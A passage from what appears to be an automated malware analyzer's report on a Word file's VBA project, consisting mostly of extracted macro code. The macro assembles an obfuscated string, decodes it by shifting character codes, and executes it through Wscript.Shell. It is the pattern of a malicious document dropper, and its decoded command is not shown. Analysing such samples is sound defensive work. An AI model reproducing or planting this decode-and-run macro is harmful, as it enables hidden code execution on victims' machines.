"u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "‡" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "F" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "[" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "ƒ" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "]" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "v" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "S" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "v" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "T" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "d" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "ˆ" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "ƒ" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "K" sadsad zOWgOHJxZIwOVpDWRhOMtkBIxQcLHDcAFkHSctssrwYGw = xsadwqdwqd(KiCbDFPnYsQBJgR) x (zOWgOHJxZIwOVpDWRhOMtkBIxQcLHDcAFkHSctssrwYGw) End Sub Private Sub sadsad() End Sub Public Function x(asd As String) Set WQDWQEWQEWQ = CreateObject("Wscript.Shell") WQDWQEWQEWQ.Run asd End Function Public Function xsadwqdwqd(strInput As String) Dim n As Integer, i As Integer n = 14 For i = 1 To Len(strInput) Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n) Next i xsadwqdwqd = strInput End Function
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	24064 bytes
SHA-256: `deb046f139675daaaf3570465f2cc1ac304c26ed5a88e7e3d8109cbbebbc0e1c`

Open this report in the interactive analyzer, or submit your own file for analysis.